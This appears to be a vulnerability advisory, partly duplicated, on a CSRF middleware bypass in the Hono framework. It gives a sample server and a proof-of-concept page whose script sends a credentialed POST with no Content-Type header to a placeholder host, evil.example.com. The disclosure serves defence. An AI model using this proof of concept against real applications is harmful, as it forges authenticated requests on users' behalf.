Bypass CSRF Middleware by a request without Content-Type herader.
Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.
// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
return c.html('Hello Hono!')
})
app.post('/', async (c) => {
console.log("executed")
return c.text( await c.req.text())
})
Deno.serve(app.fetch)
<!-- PoC.html -->
<script>
async function myclick() {
await fetch("http://evil.example.com", {
method: "POST",
credentials: "include",
body:new Blob([`test`],{}),
});
}
</script>
<input type="button" onclick="myclick()" value="run" />
Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.
Bypass csrf protection implemented with hono csrf middleware.
Summary
Bypass CSRF Middleware by a request without Content-Type herader.
Details
Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.
https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89
PoC
Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.
Impact
Bypass csrf protection implemented with hono csrf middleware.
References